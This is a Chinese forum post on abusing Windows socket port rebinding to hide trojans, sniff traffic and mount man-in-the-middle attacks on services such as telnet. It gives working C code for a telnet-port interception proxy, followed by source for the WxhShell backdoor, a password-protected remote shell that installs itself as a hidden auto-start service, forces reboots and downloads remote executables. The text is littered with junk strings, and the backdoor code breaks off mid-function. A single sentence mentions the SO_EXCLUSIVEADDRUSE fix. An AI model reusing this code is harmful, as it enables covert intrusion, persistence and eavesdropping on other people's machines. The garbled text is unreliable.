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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G1;'nwf}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ml33qXW:  
#+Yp^6zg  
  saddr.sin_family = AF_INET; h?3,B0G  
H"q`k5R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eMl]td rI  
FO(0D?PCR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7l#2,d4  
i B!hEbz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f{^M.G@  
Ns!3- Y  
  这意味着什么?意味着可以进行如下的攻击: (4 /]dTb  
&Ky u@Tt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q),3&4pM  
[71#@^ye  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ',H$zA?i  
XHZ: mLf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,P@/=I5  
\n*7# aX/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7moElh v  
b%[ nB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bQdSX8: !R  
lsB9;I^+x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^YG7dd_  
JIP+ !2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .A*VLF*m  
Wm$`ae   
  #include XYb^C s;  
  #include t8DL9RW'  
  #include 4z9#M;q T  
  #include    `*" H/QG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &}nBenYp  
  int main() pM&]&Nk  
  { &SjHrOG?  
  WORD wVersionRequested; ~&DB!6*  
  DWORD ret; 9|N" @0<B  
  WSADATA wsaData; ~MhgAC  
  BOOL val; wc7mJxJxA  
  SOCKADDR_IN saddr; JQ"`9RNb  
  SOCKADDR_IN scaddr; Np|'7D  
  int err; <?LfOSdMs^  
  SOCKET s; =f4[=C$&`  
  SOCKET sc; .:{h{@a  
  int caddsize; TvunjTpaj  
  HANDLE mt; %NT`C9][  
  DWORD tid;   h"%|\o+3  
  wVersionRequested = MAKEWORD( 2, 2 ); SZ5O89  
  err = WSAStartup( wVersionRequested, &wsaData ); ]6t]m2~\  
  if ( err != 0 ) { G$;] ?g  
  printf("error!WSAStartup failed!\n"); 7Wwp )D  
  return -1; eVw\v#gd  
  } ?Oy'awf_  
  saddr.sin_family = AF_INET; }+9 1s'/c  
   $J QWfGwR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =tr1*s{  
m~)Fr8Wh6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); < /;Q8;0  
  saddr.sin_port = htons(23); OUEI~b1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |SGgy|/a#  
  { @br@[RpB  
  printf("error!socket failed!\n"); :+~KPn>w5  
  return -1; f._l105.  
  } (^sh  
  val = TRUE; 1.# |QX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kOs(?=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m#oh?@0}  
  { zRwb"  
  printf("error!setsockopt failed!\n"); QS3U)ZO$@  
  return -1; 51I|0 ly  
  } %1Bn_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bTZ>@~$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C=fsJ=a5;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 06 QU  
)!tCC-Cr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aSc{Ft/O  
  { TT'Ofvdc  
  ret=GetLastError(); Ne3R.g9;Z  
  printf("error!bind failed!\n"); 81~Kpx  
  return -1; `AWy!}8  
  } v`y6y8:>  
  listen(s,2); ;W]D ~X&  
  while(1) <0CzB"Ap  
  { z< z*Wz  
  caddsize = sizeof(scaddr); {jvOHu  
  //接受连接请求 gfi AK%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  s[3e=N  
  if(sc!=INVALID_SOCKET) l0I}&,+  
  { Y4d3n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m23+kj)+VY  
  if(mt==NULL) LH4>@YPGE#  
  { _w 5RK(  
  printf("Thread Creat Failed!\n"); lWW+5  
  break; W+_RhJ  
  } O7%2v@j|8  
  } -K"4rz  
  CloseHandle(mt); }.p<wCPy6  
  } U#bl=%bF  
  closesocket(s); _5mc('  
  WSACleanup(); P''X_1oMC  
  return 0; moMYdArj  
  }   MU'@2c  
  DWORD WINAPI ClientThread(LPVOID lpParam) ['z!{Ez  
  { &uv0G'"\  
  SOCKET ss = (SOCKET)lpParam; 0n.S,3|  
  SOCKET sc; !YiuwFt  
  unsigned char buf[4096]; " Ya9~6  
  SOCKADDR_IN saddr; Ir5WN_EaS  
  long num; n"6;\  
  DWORD val; {Hl[C]25X  
  DWORD ret; 7 {f_fkbs  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (zG.aaz*C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   btH _HE  
  saddr.sin_family = AF_INET; ' _dzcN,z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RsW9:*R  
  saddr.sin_port = htons(23); ,w{m3;]_%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V >Hf9sZ  
  { q@n^ZzTx  
  printf("error!socket failed!\n"); !Vheq3"q/  
  return -1; +Ng0WS_0  
  } *XbI#L%>  
  val = 100; =oX>Ph+ P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y:d{jG^  
  { \hlR]m!C  
  ret = GetLastError(); n,j$D62[  
  return -1; 2Vk\L~K  
  } {fV}gR2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fr[3:2g-_  
  { e8}Ezy"^  
  ret = GetLastError(); -h#mn2U~3r  
  return -1; RKZ6}q1n  
  } W2Luz;(U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aRJcSV  
  { ~ttY(w CV  
  printf("error!socket connect failed!\n"); V-!"%fO.s  
  closesocket(sc); 9!U@"~yB  
  closesocket(ss); \*0yaSQF  
  return -1; 4v'A\~ZU  
  } M2@b1;  
  while(1) d2S~)/@S  
  { Y[Ltrk{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i)ASsYG!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (k`{*!:1a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KCuG u}  
  num = recv(ss,buf,4096,0); 1l8Etp&<  
  if(num>0) is?2DcSl5  
  send(sc,buf,num,0); CO?Xt+1hR  
  else if(num==0) *[+)7  
  break; /mM2M-  
  num = recv(sc,buf,4096,0); RthT \%R  
  if(num>0) kJQ#Wz|z]  
  send(ss,buf,num,0); =~KsS }`1,  
  else if(num==0) =Gk/k}1  
  break; jJZgK$5+  
  } Yw; D:Y(  
  closesocket(ss); *e#<n_%R  
  closesocket(sc); Zm ogM7B  
  return 0 ; }/P5>F<H[  
  } h*B|fy4K9U  
zTbVp8\pI  
mTNVU@TY=  
========================================================== {yA$V0`N{  
p&-'|'![l  
下边附上一个代码,,WXhSHELL qmy%J  
9Z5D\yv?H  
========================================================== `qVjwJ!+  
evA/+F ,&  
#include "stdafx.h" {nT^t Aha  
u{N,Ib 8  
#include <stdio.h> wd(Hv  
#include <string.h> ._9 n~=!  
#include <windows.h> D}C,![   
#include <winsock2.h> kql0J|P?  
#include <winsvc.h> '})0!g<Y  
#include <urlmon.h> {O<l[|Ip  
wa=uUM_4u^  
#pragma comment (lib, "Ws2_32.lib") {gNV[45  
#pragma comment (lib, "urlmon.lib") _p-t<ytnh  
;Vik5)D2D  
#define MAX_USER   100 // 最大客户端连接数 ml|W~-6l  
#define BUF_SOCK   200 // sock buffer m!z|h9Ed  
#define KEY_BUFF   255 // 输入 buffer fb~=Y$|  
$;M:TpX  
#define REBOOT     0   // 重启 Io4(f  
#define SHUTDOWN   1   // 关机 <<](XgR(  
r;L>.wl*I  
#define DEF_PORT   5000 // 监听端口 jcNT<}k C  
ZOXIT(mg  
#define REG_LEN     16   // 注册表键长度 ]lw|pvtd  
#define SVC_LEN     80   // NT服务名长度 :1XtvH  
")O`mXg-  
// 从dll定义API ^<e@uNGg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i wxVl)QL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a22Mufl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dVB~Smsr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b"!Q2S~  
jdE5~a+  
// wxhshell配置信息 ?pgG,=?  
struct WSCFG { Yt|6 X:l  
  int ws_port;         // 监听端口 63`{.yZ*z  
  char ws_passstr[REG_LEN]; // 口令 ZxV"(\$n  
  int ws_autoins;       // 安装标记, 1=yes 0=no MX4]Vpv  
  char ws_regname[REG_LEN]; // 注册表键名 / XnhmqWm%  
  char ws_svcname[REG_LEN]; // 服务名 k+I}PuG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O+ }qQNe<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /%_OW@ ?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FnJ?C&xK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [,2|Flf e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2I*;A5$N1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "qc6=:y}  
8-y{a.,u.  
}; ={LMdC~5X  
O6IB. >T  
// default Wxhshell configuration hx/N1 x  
struct WSCFG wscfg={DEF_PORT, >^XBa*4;Y  
    "xuhuanlingzhe", Hwo$tVa:=  
    1, Ut$;ND.-  
    "Wxhshell", Y0 D}g3`  
    "Wxhshell", asY[8r?U  
            "WxhShell Service", &WNf M+  
    "Wrsky Windows CmdShell Service", /dv<qp  
    "Please Input Your Password: ", ~ek$C  
  1, u%~igt@x  
  "http://www.wrsky.com/wxhshell.exe", r5!/[_l  
  "Wxhshell.exe" aW!@f[%~F  
    }; rvr-XGK36\  
l NQcYv  
// 消息定义模块 5) -~mW y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V+I|1{@i0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C@jJ.^ <<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [HCAmnb  
char *msg_ws_ext="\n\rExit."; J>u 7,  
char *msg_ws_end="\n\rQuit."; ~I{n^Q/a  
char *msg_ws_boot="\n\rReboot..."; hE h}PX:  
char *msg_ws_poff="\n\rShutdown..."; <{~6}6o  
char *msg_ws_down="\n\rSave to "; e9Nk3Sj]  
u]vQ>Uu  
char *msg_ws_err="\n\rErr!"; J!:SPQ  
char *msg_ws_ok="\n\rOK!"; 61xs%kxb..  
271&i  
char ExeFile[MAX_PATH]; Qx[t /~  
int nUser = 0; T0&f8  
HANDLE handles[MAX_USER]; v%fu  
int OsIsNt; ;A#`]-i C  
6 ND`l5  
SERVICE_STATUS       serviceStatus; `[C!L *#,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <Qxh)@ N  
( H6c{'&  
// 函数声明 $z+8<?YD  
int Install(void); %'[&U#-  
int Uninstall(void); =2@B&  
int DownloadFile(char *sURL, SOCKET wsh); 8=]Tr3   
int Boot(int flag); 'Y]mOD^ p  
void HideProc(void); b!)<-|IK  
int GetOsVer(void); W^s ;Bi+Nw  
int Wxhshell(SOCKET wsl); Zfyo-Wk  
void TalkWithClient(void *cs); %rxO_  
int CmdShell(SOCKET sock); >Jp:O 7  
int StartFromService(void); 8stwg'  
int StartWxhshell(LPSTR lpCmdLine); F{UP;"8'  
t*?0D\b 2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :H c0b=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EOm:!D\  
:rg5Kt&  
// 数据结构和表定义 JJ%ePgWT  
SERVICE_TABLE_ENTRY DispatchTable[] = _r2J7&  
{ e6!LSx}y  
{wscfg.ws_svcname, NTServiceMain}, Q9Q|lO  
{NULL, NULL} A,`8#-AX  
}; '7oA< R  
FXs*vg`  
// 自我安装 95z]9UL  
int Install(void) 1|ra&(=)  
{ ;6!Pwb;hY  
  char svExeFile[MAX_PATH]; _%GGl$kH  
  HKEY key; G>q(iF'  
  strcpy(svExeFile,ExeFile); &-mX ,   
Ry|!pV  
// 如果是win9x系统,修改注册表设为自启动 LGl2$#x  
if(!OsIsNt) { f-%NaTI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W16,Alf:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ##4GK08!  
  RegCloseKey(key); RoyPrO [3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bP^Je&nS*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :duo#w"K  
  RegCloseKey(key); B` k\EL'  
  return 0; Kh MSL  
    } A7n\h-b  
  } [h,QBz  
} $5*WLG&AK  
else { o0pII )v  
?|39u{  
// 如果是NT以上系统,安装为系统服务 %wSj%>&-R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3%E74 mOcD  
if (schSCManager!=0) qcN'e.A  
{ -*XCxU'  
  SC_HANDLE schService = CreateService FD8N"p  
  ( K5XK%Gl"  
  schSCManager, B|&"#Q  
  wscfg.ws_svcname, ph-ATJ"  
  wscfg.ws_svcdisp, |P%DkM*X  
  SERVICE_ALL_ACCESS, 1[yq0^\]M[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o5Q{/  
  SERVICE_AUTO_START, E8~}PQW:I  
  SERVICE_ERROR_NORMAL, ?G -e](]^<  
  svExeFile, 4Z/Q=Mq2  
  NULL, zNIsf "  
  NULL, B}&xaY  
  NULL, k0Uyf~p~  
  NULL, aG 92ay  
  NULL >`%'4<I  
  ); (owrdPT!  
  if (schService!=0) )-`;1ca)s  
  { yfC^x%d7G  
  CloseServiceHandle(schService); %,k] [V  
  CloseServiceHandle(schSCManager); P [k$vD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iX4Iu3  
  strcat(svExeFile,wscfg.ws_svcname); }sOwp}FV8X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g'|MA~4yB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T9879[ZU\  
  RegCloseKey(key); f`&dQ,;  
  return 0; hc'-Dh  
    } f0BdXsV#g  
  } !1G."fo  
  CloseServiceHandle(schSCManager); Vl2XDkhq  
} ?:L:EW8  
} Z%x\~ )~  
= hN !;7G  
return 1; -G|G_$9  
} w#g#8o>'  
W[}s o6  
// 自我卸载 %3$*K\Ai  
int Uninstall(void) e@ \p0(  
{ !eUDi(   
  HKEY key; Cj?L@%"  
H Tz  
if(!OsIsNt) { Kk{<@v)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5=1^T@~#&  
  RegDeleteValue(key,wscfg.ws_regname); NmSo4Dg`U  
  RegCloseKey(key); =lVK IW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { leQT-l2Bk  
  RegDeleteValue(key,wscfg.ws_regname); MXyaE~LK  
  RegCloseKey(key); 5Fz.Y}  
  return 0; gc?#pP  
  } 4DOK4{4?5  
} YXI'gn2b#  
} Zt3)]sB  
else { lbuAE%  
51QRM32Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SC- $B  
if (schSCManager!=0) ]7rj/l$ u  
{ q`G,L(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "$}vP<SM  
  if (schService!=0) 0pSmj2/,.  
  { %.z,+Zz?  
  if(DeleteService(schService)!=0) { T =2=k&|  
  CloseServiceHandle(schService); ,do58i K  
  CloseServiceHandle(schSCManager); Hp(D);0+)  
  return 0; N72Yq)(  
  } 0{j&6I2  
  CloseServiceHandle(schService); i:l<C  
  } T_lsGu/  
  CloseServiceHandle(schSCManager); ^7.h%lSg  
} 0JD~M\-!^a  
} X~xd/M=9^  
VnT>K9&3  
return 1; g38&P3/  
} 5IbJ  
M1%Dg'}G  
// 从指定url下载文件 ZoB {x*IH  
int DownloadFile(char *sURL, SOCKET wsh) /QEiMrz@6  
{ g(| 6~}|o+  
  HRESULT hr; 8+Td-\IMk  
char seps[]= "/"; 7jJbo]&  
char *token; C8L'si  
char *file; x{&w?ng  
char myURL[MAX_PATH]; q SejLh6  
char myFILE[MAX_PATH]; `4 y]Z)  
W k}AmC  
strcpy(myURL,sURL); K2<~(78C  
  token=strtok(myURL,seps); (S^8UV  
  while(token!=NULL) 5p +ZD7jK  
  { YKa0H%B(  
    file=token; Tb1U^E:  
  token=strtok(NULL,seps); U/NBFc:[y:  
  } O$ HBO  
4R8G&8b  
GetCurrentDirectory(MAX_PATH,myFILE); k;5Pom  
strcat(myFILE, "\\"); Cbs5dn(Y  
strcat(myFILE, file); 9*:gr#(5  
  send(wsh,myFILE,strlen(myFILE),0); ayBRWT0  
send(wsh,"...",3,0); {ccIxL /~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;;)`c/$  
  if(hr==S_OK) UgN28YrW  
return 0; 5%}wV,Y  
else \sA*V%n  
return 1; _Zc%z@}  
"<i SZ  
} RL[E X5U  
Xe+,wW3YF  
// 系统电源模块 3u33a"nL8  
int Boot(int flag) auWXgkwZs/  
{ rbZ[!LA  
  HANDLE hToken; X#w%>al  
  TOKEN_PRIVILEGES tkp; wLV~F[:  
x#C@8Bxq=  
  if(OsIsNt) { PNeh#PI 6)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z"s|]K "  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >ulY7~wUv  
    tkp.PrivilegeCount = 1; 3CE[(   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =IKEb#R/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UMN*]_'+;b  
if(flag==REBOOT) { 19q{6X`x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !Ss HAE|  
  return 0; !q"CV  
} _KD5T4FZR  
else { N]YtLa,t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q|)Q9+6$+  
  return 0; ,572n[-q  
} VzlDHpG  
  } 6*@yE  
  else { W0cgI9=9  
if(flag==REBOOT) { fMf&?`V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nF)uTk  
  return 0; ?nKF6 f  
} )$x_!=@1  
else { FnHi(S|A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]|:uU  
  return 0; RD<75]**{  
} 9x`4 RE  
} "zZI S6j  
)yxT+g2!  
return 1; dv N<5~  
} 'q%%m/,VPQ  
m W`oq  
// win9x进程隐藏模块 s* j fMY  
void HideProc(void) bb=uF1  
{ _ :^ 7a3I  
HT`1E0G8)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'i>xf ^  
  if ( hKernel != NULL ) G { mC7@  
  { ?q91:H   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^~ L}<]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kB\kpW  
    FreeLibrary(hKernel); vH?9\3  
  } msk/p>{O  
8TZENRzx-|  
return; 6/mF2&&g  
} h ; kfh.  
s'_,:R\VM>  
// 获取操作系统版本 E(L<L1:"  
int GetOsVer(void) et$uP  
{ 5JFV%odo  
  OSVERSIONINFO winfo; cBEHH4U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LP`CS849z2  
  GetVersionEx(&winfo); fnH3 CE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RazBc.o<  
  return 1; jQtSwVDr  
  else 6f] rQ9  
  return 0; OV5e#AOy)  
} .2X2b<%)  
%<}=xJf>1  
// 客户端句柄模块 ` Q9+k<  
int Wxhshell(SOCKET wsl) A 0#Y, 1  
{ Jgi Iq  
  SOCKET wsh; &:!ij  
  struct sockaddr_in client; +{rJ[J/g  
  DWORD myID; HZ\k-!2  
#/WAzYt{  
  while(nUser<MAX_USER) NfF~dK|  
{ %D^bah f  
  int nSize=sizeof(client); :t2B^})\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3Xdn62[&  
  if(wsh==INVALID_SOCKET) return 1;  .fJ*c  
6q%ed UED  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k|#Zy,  
if(handles[nUser]==0) _pSIJ3O  
  closesocket(wsh); *ro.mQ_  
else 5\G)Q<A]*L  
  nUser++; |s`Kd-'|q  
  } },6*Y*?{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v>at/ef  
pF='jj51  
  return 0; $,P\)</ VR  
} #>q[oie1e  
dzxI QlP  
// 关闭 socket 9Dq.lr^  
void CloseIt(SOCKET wsh) @ta?&Qf)  
{ 0 pNo`Bm  
closesocket(wsh); s]bPV,"p  
nUser--; _m7c o :  
ExitThread(0); NUu;tjt:  
} )l{A{f6O  
6EP~F8Kd  
// 客户端请求句柄 > Z++^YVE  
void TalkWithClient(void *cs) ._ih$=   
{ ZvyjMLf  
acP ;(t  
  SOCKET wsh=(SOCKET)cs; uWrFunh%  
  char pwd[SVC_LEN]; J=P;W2L  
  char cmd[KEY_BUFF]; O=`o'%K<  
char chr[1]; 5U;nhDmM  
int i,j; 1t%<5O;R  
FpC~1Nau  
  while (nUser < MAX_USER) { ?.j,Bq5At  
y&3TQ]f\  
if(wscfg.ws_passstr) { i^/Di Wdyf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QqjTLuN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^#7viZ*  
  //ZeroMemory(pwd,KEY_BUFF); b.,$# D{p  
      i=0; xBt<Yt"  
  while(i<SVC_LEN) { %Il;B~t  
&*ZC0V3  
  // 设置超时 $~Tf L{$  
  fd_set FdRead; mf~Lzp  
  struct timeval TimeOut; -7,vtd[h  
  FD_ZERO(&FdRead); Y 0]Kl^\A  
  FD_SET(wsh,&FdRead); _&K\D p&@  
  TimeOut.tv_sec=8; tnNZ`]qY  
  TimeOut.tv_usec=0; V-:`+&S{^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fX""xT NPi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9g4QVo|  
,?fN#gc :  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Q]:Uf.J  
  pwd=chr[0]; < )Alb\Z  
  if(chr[0]==0xd || chr[0]==0xa) { 7_1W:-A7W  
  pwd=0; OAY8,C=M  
  break; TXx'7[  
  } B0S8vU  
  i++; Io09W^  
    } F"Uh/EO<  
X+d&OcO=q  
  // 如果是非法用户,关闭 socket v)%[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mQFa/7FX  
} vs+ We*8H  
hzW{_Q.|?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S\}?zlV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m\1VF\  
M9h<}mh\  
while(1) { m\/>C|f\  
}FHw" {my  
  ZeroMemory(cmd,KEY_BUFF); `B:B7Cpvn  
'n>EEQyp'  
      // 自动支持客户端 telnet标准   Al=(sHc'  
  j=0; 0T1HQ  
  while(j<KEY_BUFF) { G OH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QCVsVG!sN  
  cmd[j]=chr[0]; #_on{I  
  if(chr[0]==0xa || chr[0]==0xd) { +}kO ;\  
  cmd[j]=0; ]Jja  
  break; 0`V3s]%iu  
  } F\zkyk 4  
  j++; z|Hy>|+  
    } "[#@;{@Gt  
B{[f}h.n  
  // 下载文件 #4Dn@Gqh.Y  
  if(strstr(cmd,"http://")) { #Tup]czO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  Y>xi|TWN  
  if(DownloadFile(cmd,wsh)) s*aH`M7^0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lv=yz\  
  else ,}eRnl\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fEx+gQW_  
  } .WBI%ci  
  else { m(8jSGV  
 )GB3=@  
    switch(cmd[0]) { (y-x01H  
  'bZMh9|  
  // 帮助 x:!C(Ep)  
  case '?': { ERUs0na]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); muL>g_H  
    break; V?U%C%C|e  
  } sKe9at^E]>  
  // 安装 <QYCo1_  
  case 'i': { C/{nr-V3u  
    if(Install()) NvQY7C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fR+Ov8PCq  
    else qf_h b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qw3a"k-  
    break; Z}sG3p  
    } +^/Nil  
  // 卸载 VQ1?Db(_2  
  case 'r': { z*Myokhf  
    if(Uninstall()) [z W_%O kP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A8_\2'b  
    else r24\DvS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w/lXZg  
    break; ir9Q##f  
    } nu\  
  // 显示 wxhshell 所在路径 W HlD %u  
  case 'p': { g_rA_~dh  
    char svExeFile[MAX_PATH]; [_g#x(=  
    strcpy(svExeFile,"\n\r"); "7To c4  
      strcat(svExeFile,ExeFile); r~S!<9f  
        send(wsh,svExeFile,strlen(svExeFile),0); x:f|3"\s  
    break; &LCUoTzj  
    } sDzD 8as  
  // 重启 .fio<mqi  
  case 'b': { H]% mP|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ir?Uw:/f  
    if(Boot(REBOOT)) [JX}1%NA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?#VP)A  
    else { z4%Z6Y  
    closesocket(wsh); (&9DB   
    ExitThread(0); "<cB73tY  
    } G/LXUhuif  
    break; *@-q@5r}!  
    } |x _ -I#H  
  // 关机 9 NGeh*`  
  case 'd': { 8I5VrT  
